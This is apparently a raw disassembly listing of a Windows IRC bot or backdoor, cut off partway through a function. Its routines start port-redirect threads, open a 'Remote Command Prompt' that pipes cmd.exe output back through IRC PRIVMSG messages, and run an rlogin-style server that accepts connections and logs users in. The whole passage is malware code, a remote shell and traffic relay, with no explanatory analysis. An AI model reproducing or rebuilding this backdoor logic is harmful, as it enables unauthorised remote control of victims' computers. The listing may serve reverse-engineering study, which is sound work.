		jnz	short loc_40D974
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFail_0 ; "[REDIRECT]: Failed to	start connection "...
		call	sub_401CA7
		pop	ecx
		pop	ecx


loc_40D93E:				; CODE XREF: sub_40D7DF+42j
					; sub_40D7DF+98j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	dword_434344[eax]
		call	dword_4335AC	; closesocket
		push	[ebp+arg_0]
		call	dword_4335AC	; closesocket
		push	[ebp+var_4]
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014	; ExitThread


loc_40D96C:				; CODE XREF: sub_40D7DF+198j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40D974:				; CODE XREF: sub_40D7DF+14Aj
		cmp	[ebp+var_20], ebx
		jz	short loc_40D96C
		jmp	short loc_40D992
; ---------------------------------------------------------------------------


loc_40D97B:				; CODE XREF: sub_40D7DF+1D9j
		push	ebx
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D93E


loc_40D992:				; CODE XREF: sub_40D7DF+19Aj
		xor	eax, eax
		push	ebx
		lea	edi, [ebp+var_1344]
		mov	ecx, 400h
		rep stosd
		push	1000h
		lea	eax, [ebp+var_1344]
		push	eax
		push	dword ptr [esi]
		call	dword_433414	; recv
		cmp	eax, ebx
		jg	short loc_40D97B
		jmp	short loc_40D93E
sub_40D7DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D9BC	proc near		; DATA XREF: sub_4078FA+26DCo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	4Ah
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	[ebp+var_40]
		xor	esi, esi
		inc	esi
		mov	[eax+120h], esi
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_10], 2
		call	dword_4335EC	; ntohs
		push	6
		push	esi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], ebx
		mov	[ebp+arg_0], 10h
		call	dword_4334A0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40DB1B
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	esi
		push	401h
		push	ebx
		push	edi
		mov	dword_434344[eax], edi
		call	dword_43352C	; WSAAsyncSelect
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		call	dword_433578	; bind
		test	eax, eax
		jnz	loc_40DB1B
		push	0Ah
		push	edi
		call	dword_4335C0	; listen
		test	eax, eax
		jnz	loc_40DB1B


loc_40DA62:				; CODE XREF: sub_40D9BC+BAj
					; sub_40D9BC+15Aj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_433464	; accept
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40DA62
		push	[ebp+var_3C]
		movzx	eax, [ebp+var_22]
		push	eax
		push	[ebp+var_20]
		mov	[ebp+var_148], esi
		mov	[ebp+var_2C], ebx
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset aRedirectClie_0 ; "[REDIRECT]: Client connection	from IP: "...
		push	eax
		call	sub_412BB5
		push	esi
		lea	eax, [ebp+var_34C]
		push	11h
		push	eax
		call	sub_410EEA
		mov	ecx, [ebp+var_3C]
		mov	[ebp+var_38], eax
		imul	eax, 234h
		add	esp, 20h
		mov	dword_43433C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		lea	eax, [ebp+var_14C]
		push	eax
		push	offset sub_40D7DF
		push	ebx
		push	ebx
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_40DB11
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFail_1 ; "[REDIRECT]: Failed to	start client thre"...
		call	sub_401CA7
		pop	ecx
		pop	ecx
		jmp	short loc_40DB1E
; ---------------------------------------------------------------------------


loc_40DB09:				; CODE XREF: sub_40D9BC+158j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_40DB11:				; CODE XREF: sub_40D9BC+136j
		cmp	[ebp+var_2C], ebx
		jz	short loc_40DB09
		jmp	loc_40DA62
; ---------------------------------------------------------------------------


loc_40DB1B:				; CODE XREF: sub_40D9BC+5Dj
					; sub_40D9BC+8Fj ...
		mov	esi, [ebp+arg_0]


loc_40DB1E:				; CODE XREF: sub_40D9BC+14Bj
		push	esi
		call	dword_4335AC	; closesocket
		push	edi
		call	dword_4335AC	; closesocket
		push	[ebp+var_3C]
		call	sub_4111AE
		pop	ecx
		push	ebx
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40D9BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40DB3D	proc near		; CODE XREF: sub_40DB6D+30p
					; sub_40DBAB+85p ...
		mov	eax, dword_479BCC
		cmp	eax, 0FFFFFFFFh
		push	esi
		mov	esi, ds:dword_41F034
		jz	short loc_40DB51
		push	eax
		call	esi	; CloseHandle


loc_40DB51:				; CODE XREF: sub_40DB3D+Fj
		mov	eax, dword_479BC8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DB5E
		push	eax
		call	esi	; CloseHandle


loc_40DB5E:				; CODE XREF: sub_40DB3D+1Cj
		mov	eax, dword_479C04
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DB6B
		push	eax
		call	esi	; CloseHandle


loc_40DB6B:				; CODE XREF: sub_40DB3D+29j
		pop	esi
		retn
sub_40DB3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB6D	proc near		; CODE XREF: sub_4078FA+34AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+1]


loc_40DB77:				; CODE XREF: sub_40DB6D+Fj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40DB77
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		sub	eax, edx
		push	eax
		push	[ebp+arg_0]
		mov	[ebp+var_4], eax
		push	dword_479BC0
		call	ds:dword_41F038	; WriteFile
		test	eax, eax
		jnz	short loc_40DBA6
		call	sub_40DB3D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DBA6:				; CODE XREF: sub_40DB6D+2Ej
		xor	eax, eax
		inc	eax
		leave
		retn
sub_40DB6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBAB	proc near		; CODE XREF: sub_40DC39+D9p
					; sub_40DC39+11Fp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ecx, ecx
		push	edi
		inc	ecx
		mov	edi, 41FA76h
		xor	eax, eax
		repe cmpsb
		pop	edi
		pop	esi
		jz	short loc_40DBF0
		push	0FAh
		call	ds:dword_41F000	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_412BB5
		add	esp, 10h
		jmp	short loc_40DC07
; ---------------------------------------------------------------------------


loc_40DBF0:				; CODE XREF: sub_40DBAB+1Cj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40DC07:				; CODE XREF: sub_40DBAB+43j
		lea	eax, [ebp+var_200]
		lea	edx, [eax+1]


loc_40DC10:				; CODE XREF: sub_40DBAB+6Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40DC10
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534	; send
		test	eax, eax
		jg	short loc_40DC35
		call	sub_40DB3D


loc_40DC35:				; CODE XREF: sub_40DBAB+83j
		xor	eax, eax
		leave
		retn
sub_40DBAB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC39	proc near		; DATA XREF: sub_40DDC6+16Ao

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	ebx, 80h
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		xor	edi, edi
		push	edi
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		mov	esi, 200h
		push	esi
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_479BCC
		call	ds:dword_41F0E4	; PeekNamedPipe
		test	eax, eax
		jz	loc_40DD48
		jmp	short loc_40DC83
; ---------------------------------------------------------------------------


loc_40DC81:				; CODE XREF: sub_40DC39+109j
		xor	edi, edi


loc_40DC83:				; CODE XREF: sub_40DC39+46j
		cmp	[ebp+var_4], edi
		jnz	short loc_40DCB3
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_479C04
		call	ds:dword_41F0E0	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40DCA9
		cmp	[ebp+var_8], 103h
		jnz	loc_40DD75


loc_40DCA9:				; CODE XREF: sub_40DC39+61j
		push	0Ah
		call	ds:dword_41F000	; Sleep
		jmp	short loc_40DD1A
; ---------------------------------------------------------------------------


loc_40DCB3:				; CODE XREF: sub_40DC39+4Dj
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40DCCE


loc_40DCBA:				; CODE XREF: sub_40DC39+93j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	loc_40DD6C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40DCBA


loc_40DCCE:				; CODE XREF: sub_40DC39+7Fj
		mov	[ebp+var_4], esi


loc_40DCD1:				; CODE XREF: sub_40DC39+137j
		xor	eax, eax
		push	eax
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_479BCC
		call	ds:dword_41F058	; ReadFile
		test	eax, eax
		jz	loc_40DD9D
		lea	eax, [ebp+var_20C]
		push	eax
		push	offset dword_479BD0
		push	dword_479BC4
		call	sub_40DBAB
		add	esp, 0Ch


loc_40DD1A:				; CODE XREF: sub_40DC39+78j
		xor	eax, eax
		push	eax
		push	eax
		mov	ecx, ebx
		lea	edi, [ebp+var_20C]
		rep stosd
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_479BCC
		call	ds:dword_41F0E4	; PeekNamedPipe
		test	eax, eax
		jnz	loc_40DC81


loc_40DD48:				; CODE XREF: sub_40DC39+40j
		push	offset aCmdCouldNotRea ; "[CMD]: Could not read	data from procces"...
		push	offset dword_479BD0
		push	dword_479BC4
		call	sub_40DBAB
		push	[ebp+arg_0]
		call	sub_4111AE
		add	esp, 10h
		push	1
		jmp	short loc_40DDBF
; ---------------------------------------------------------------------------


loc_40DD6C:				; CODE XREF: sub_40DC39+89j
		inc	eax
		mov	[ebp+var_4], eax
		jmp	loc_40DCD1
; ---------------------------------------------------------------------------


loc_40DD75:				; CODE XREF: sub_40DC39+6Aj
		call	sub_40DB3D
		push	offset aCmdProccessHas ; "[CMD]: Proccess has terminated.\r\n"
		push	offset dword_479BD0
		push	dword_479BC4
		call	sub_40DBAB
		push	[ebp+arg_0]
		call	sub_4111AE
		add	esp, 10h
		push	edi
		jmp	short loc_40DDBF
; ---------------------------------------------------------------------------


loc_40DD9D:				; CODE XREF: sub_40DC39+C1j
		push	offset aCmdCouldNotR_0 ; "[CMD]: Could not read	data from procces"...
		push	offset dword_479BD0
		push	dword_479BC4
		call	sub_40DBAB
		push	[ebp+arg_0]
		call	sub_4111AE
		add	esp, 10h
		push	0


loc_40DDBF:				; CODE XREF: sub_40DC39+131j
					; sub_40DC39+162j
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40DC39	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DDC6	proc near		; CODE XREF: sub_4078FA+421Cp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	esi
		call	sub_40DB3D
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_178]
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_4334C0	; SearchPathA
		test	eax, eax
		jnz	short loc_40DDFD
		or	eax, 0FFFFFFFFh
		jmp	loc_40DF72
; ---------------------------------------------------------------------------


loc_40DDFD:				; CODE XREF: sub_40DDC6+2Dj
		push	ebx
		push	edi
		mov	edi, ds:dword_41F0EC
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jnz	short loc_40DE30


loc_40DE28:				; CODE XREF: sub_40DDC6+7Bj
					; sub_40DDC6+9Dj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40DF70
; ---------------------------------------------------------------------------


loc_40DE30:				; CODE XREF: sub_40DDC6+60j
		push	esi
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	short loc_40DE28
		mov	edi, ds:dword_41F0B4
		push	3
		push	esi
		push	esi
		push	offset dword_479BC0
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_41F0E8	; DuplicateHandle
		test	eax, eax
		jz	short loc_40DE28
		xor	eax, eax
		lea	edi, [ebp+var_2C]
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		stosd
		xor	eax, eax
		lea	edi, [ebp+var_74]
		rep stosd
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		push	esi
		mov	ebx, 41FA76h
		push	ebx
		lea	eax, [ebp+var_178]
		push	eax
		mov	[ebp+var_74], 44h
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_41F030	; CreateProcessA
		test	eax, eax
		jz	loc_40DE28
		push	[ebp+var_4]
		mov	edi, ds:dword_41F034
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_479BCC, eax
		mov	eax, [ebp+var_8]
		mov	dword_479BC8, eax
		mov	eax, [ebp+var_2C]
		mov	dword_479C04, eax
		call	edi	; CloseHandle
		cmp	[ebp+arg_4], esi
		mov	eax, [ebp+arg_0]
		mov	dword_479BC4, eax
		jz	short loc_40DEFC
		push	[ebp+arg_4]
		jmp	short loc_40DEFD
; ---------------------------------------------------------------------------


loc_40DEFC:				; CODE XREF: sub_40DDC6+12Fj
		push	ebx


loc_40DEFD:				; CODE XREF: sub_40DDC6+134j
		push	offset dword_479BD0
		call	sub_412BB5
		pop	ecx
		pop	ecx
		push	esi
		push	8
		push	offset aCmdRemoteComma ; "[CMD]: Remote	Command	Prompt"
		call	sub_410EEA
		mov	ecx, [ebp+var_24]
		mov	edi, eax
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_434340[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40DC39
		push	esi
		push	esi
		call	ds:dword_41F00C	; CreateThread
		cmp	eax, esi
		mov	dword_43434C[edi], eax
		jnz	short loc_40DF6E
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset aCmdFailedToSta ; "[CMD]: Failed	to start IO thread, error"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_401C33
		add	esp, 10h


loc_40DF6E:				; CODE XREF: sub_40DDC6+17Fj
		xor	eax, eax


loc_40DF70:				; CODE XREF: sub_40DDC6+65j
		pop	edi
		pop	ebx


loc_40DF72:				; CODE XREF: sub_40DDC6+32j
		pop	esi
		leave
		retn
sub_40DDC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DF75	proc near		; CODE XREF: sub_40E00D+A6p
					; sub_40E00D+B6p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, eax


loc_40DF7C:				; CODE XREF: sub_40DF75+2Aj
		push	0
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	dword_433414	; recv
		cmp	eax, 1
		jnz	short loc_40DFB2
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_4]
		jz	short loc_40DFA7
		test	al, al
		jnz	short loc_40DF7C
		xor	eax, eax
		inc	eax


loc_40DFA4:				; CODE XREF: sub_40DF75+3Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DFA7:				; CODE XREF: sub_40DF75+26j
		push	offset aRlogindProtoco ; "[RLOGIND]: Protocol string too long."
		call	sub_401CA7
		pop	ecx


loc_40DFB2:				; CODE XREF: sub_40DF75+1Bj
		xor	eax, eax
		jmp	short loc_40DFA4
sub_40DF75	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DFB6	proc near		; DATA XREF: sub_40E219+5Ao

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		setz	al
		retn
sub_40DFB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DFC0	proc near		; CODE XREF: sub_40E00D+175p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_40DFC5:				; CODE XREF: sub_40DFC0+21j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_40DFE7
		test	cl, cl
		jz	short loc_40DFE3
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_40DFE7
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40DFC5


loc_40DFE3:				; CODE XREF: sub_40DFC0+Fj
		xor	eax, eax
		jmp	short loc_40DFEC
; ---------------------------------------------------------------------------


loc_40DFE7:				; CODE XREF: sub_40DFC0+Bj
					; sub_40DFC0+19j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40DFEC:				; CODE XREF: sub_40DFC0+25j
		test	eax, eax
		pop	esi
		jz	short loc_40E009
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"...
		call	sub_401CA7
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40E009:				; CODE XREF: sub_40DFC0+2Fj
		xor	eax, eax
		inc	eax
		retn
sub_40DFC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_40E00D	proc near		; DATA XREF: sub_40E219+19Fo

var_3D4		= byte ptr -3D4h
var_350		= byte ptr -350h
var_208		= dword	ptr -208h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_F0		= byte ptr -0F0h
var_B0		= byte ptr -0B0h
var_4C		= byte ptr -4Ch
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 3D4h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_3D4]
		rep movsd
		mov	esi, [ebp+74h+var_208]
		mov	[ebp+74h+arg_0], esi
		imul	esi, 234h
		xor	edi, edi
		inc	edi
		mov	[eax+1DCh], edi
		mov	eax, dword_434344[esi]
		mov	[ebp+74h+var_1F0], eax
		xor	ebx, ebx
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_1F4]
		push	eax
		push	ebx
		mov	[ebp+74h+var_C], 1Eh
		mov	[ebp+74h+var_8], ebx
		mov	[ebp+74h+var_1F4], edi
		call	dword_433544	; select
		test	eax, eax
		jnz	short loc_40E096
		push	dword_434344[esi]
		call	dword_4335AC	; closesocket
		push	[ebp+74h+var_208]


loc_40E08B:				; CODE XREF: sub_40E00D+1A2j
		call	sub_4111AE
		pop	ecx
		jmp	loc_40E211
; ---------------------------------------------------------------------------


loc_40E096:				; CODE XREF: sub_40E00D+6Aj
		push	ebx
		push	edi
		lea	eax, [ebp+74h+var_3C]
		push	eax
		push	dword_434344[esi]
		call	dword_433414	; recv
		push	10h
		push	dword_434344[esi]
		lea	eax, [ebp+74h+var_2C]
		call	sub_40DF75
		push	10h
		push	dword_434344[esi]
		lea	eax, [ebp+74h+var_4C]
		call	sub_40DF75
		push	40h
		push	dword_434344[esi]
		lea	eax, [ebp+74h+var_F0]
		call	sub_40DF75
		add	esp, 18h
		lea	eax, [ebp+74h+var_4]
		push	eax
		lea	eax, [ebp+74h+var_1C]
		push	eax
		push	dword_434344[esi]
		mov	[ebp+74h+var_4], 10h
		call	dword_4334E0	; getpeername
		test	eax, eax
		jz	short loc_40E11E
		call	dword_433558	; WSAGetLastError
		push	eax
		push	offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>."
		call	sub_401CA7
		push	[ebp+74h+var_208]
		call	sub_4111AE
		add	esp, 0Ch
		jmp	loc_40E211
; ---------------------------------------------------------------------------


loc_40E11E:				; CODE XREF: sub_40E00D+EBj
		push	2
		push	4
		lea	eax, [ebp+74h+var_18]
		push	eax
		call	dword_433590	; gethostbyaddr
		cmp	eax, ebx
		jnz	short loc_40E147
		push	[ebp+74h+var_18]
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_B0]
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx
		jmp	short loc_40E156
; ---------------------------------------------------------------------------


loc_40E147:				; CODE XREF: sub_40E00D+121j
		mov	ecx, [eax]
		lea	edx, [ebp+74h+var_B0]


loc_40E14C:				; CODE XREF: sub_40E00D+147j
		mov	al, [ecx]
		inc	ecx
		mov	[edx], al
		inc	edx
		cmp	al, bl
		jnz	short loc_40E14C


loc_40E156:				; CODE XREF: sub_40E00D+138j
		push	ebx
		push	edi
		push	41FA76h
		push	dword_434344[esi]
		call	dword_433534	; send
		cmp	dword_479C0C, ebx
		jnz	short loc_40E1B4
		push	[ebp+74h+var_18]
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		lea	eax, [ebp+74h+var_350]
		call	sub_40DFC0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40E1B4
		push	ebx
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		lea	esi, dword_434344[esi]
		push	dword ptr [esi]
		call	dword_433534	; send
		push	dword ptr [esi]
		call	dword_4335AC	; closesocket
		push	[ebp+74h+arg_0]
		jmp	loc_40E08B
; ---------------------------------------------------------------------------


loc_40E1B4:				; CODE XREF: sub_40E00D+162j
					; sub_40E00D+17Fj
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>."
		call	sub_401CA7
		push	[ebp+74h+arg_0]
		call	sub_40F3F5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40E1F4
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>."
		call	sub_401CA7
		push	[ebp+74h+arg_0]
		call	sub_4111AE
		add	esp, 0Ch
		push	edi
		jmp	short loc_40E212
; ---------------------------------------------------------------------------


loc_40E1F4:				; CODE XREF: sub_40E00D+1C6j
		lea	eax, [ebp+74h+var_B0]
		push	eax
		lea	eax, [ebp+74h+var_2C]
		push	eax
		push	offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>."
		call	sub_401CA7
		push	[ebp+74h+arg_0]
		call	sub_4111AE
		add	esp, 10h


loc_40E211:				; CODE XREF: sub_40E00D+84j
					; sub_40E00D+10Cj
		push	ebx


loc_40E212:				; CODE XREF: sub_40E00D+1E5j
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40E00D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E219	proc near		; DATA XREF: sub_4078FA+40DBo

var_5A8		= byte ptr -5A8h
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= byte ptr -214h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5A8h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	78h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_218]
		rep movsd
		xor	esi, esi
		inc	esi
		mov	[eax+1DCh], esi
		lea	eax, [ebp+var_5A8]
		push	eax
		push	202h
		call	dword_4334B0	; WSAStartup
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_40E272
		push	eax
		push	offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>."
		call	sub_401CA7
		push	[ebp+var_50]
		call	sub_4111AE
		add	esp, 0Ch


loc_40E26C:				; CODE XREF: sub_40E219+8Bj
		push	esi
		jmp	loc_40E48E
; ---------------------------------------------------------------------------


loc_40E272:				; CODE XREF: sub_40E219+3Bj
		push	esi
		push	offset sub_40DFB6
		call	ds:dword_41F0F0	; SetConsoleCtrlHandler
		test	eax, eax
		jnz	short loc_40E2A6
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "...
		call	sub_401CA7
		pop	ecx
		pop	ecx
		call	dword_4335B8	; WSACleanup
		push	[ebp+var_50]
		call	sub_4111AE
		pop	ecx
		jmp	short loc_40E26C
; ---------------------------------------------------------------------------


loc_40E2A6:				; CODE XREF: sub_40E219+67j
		push	[ebp+var_54]
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_24], 2
		call	dword_4335EC	; ntohs
		push	6
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4334A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40E41E
		mov	ecx, [ebp+var_50]
		imul	ecx, 234h
		push	10h
		pop	edi
		mov	dword_434344[ecx], eax
		push	edi
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		call	dword_433578	; bind
		test	eax, eax
